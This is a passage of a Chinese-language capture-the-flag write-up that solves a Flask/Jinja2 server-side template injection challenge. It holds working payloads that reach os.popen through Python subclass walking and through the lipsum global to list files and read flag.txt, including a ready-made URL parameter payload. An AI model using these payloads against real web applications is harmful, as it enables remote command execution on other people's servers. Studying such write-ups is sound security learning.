'difflib.Differ'>, <class 'difflib.HtmlDiff'>, <class 'werkzeug.routing.RuleFactory'>, <class 'werkzeug.routing.RuleTemplate'>, <class 'werkzeug.routing.BaseConverter'>, <class 'werkzeug.routing.Map'>, <class 'werkzeug.routing.MapAdapter'>, <class 'flask.signals.Namespace'>, <class 'flask.signals._FakeSignal'>, <class 'flask.helpers.locked_cached_property'>, <class 'flask.helpers._PackageBoundObject'>, <class 'flask.cli.DispatchingApp'>, <class 'flask.cli.ScriptInfo'>, <class 'flask.config.ConfigAttribute'>, <class 'flask.ctx._AppCtxGlobals'>, <class 'flask.ctx.AppContext'>, <class 'flask.ctx.RequestContext'>, <class 'flask.json.tag.JSONTag'>, <class 'flask.json.tag.TaggedJSONSerializer'>, <class 'flask.sessions.SessionInterface'>, <class 'werkzeug.wrappers.json._JSONModule'>, <class 'werkzeug.wrappers.json.JSONMixin'>, <class 'flask.blueprints.BlueprintSetupState'>, <class 'jinja2.ext.Extension'>, <class 'jinja2.ext._CommentFinder'>"
all_list = all_list.split(', ')
for i in range(len(all_list)):
if 'os' in all_list[i]:
print('{} {}'.format(i, all_list[i]))
{{''.__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('ls').read()}}
看到flag.txt 然后 cat flag.txt 获得flag ,没有任何的过滤
二个方法都可以 lipsum
接下来直接利用flask的一个方法：lipsum
可以用于得到__builtins__，而且lipsum.__globals__含有os模块：{{lipsum.__globals__['os'].popen('ls').read()}}
然后构建payload：/?name={{lipsum.__globals__['os'].popen('ls').read()}}
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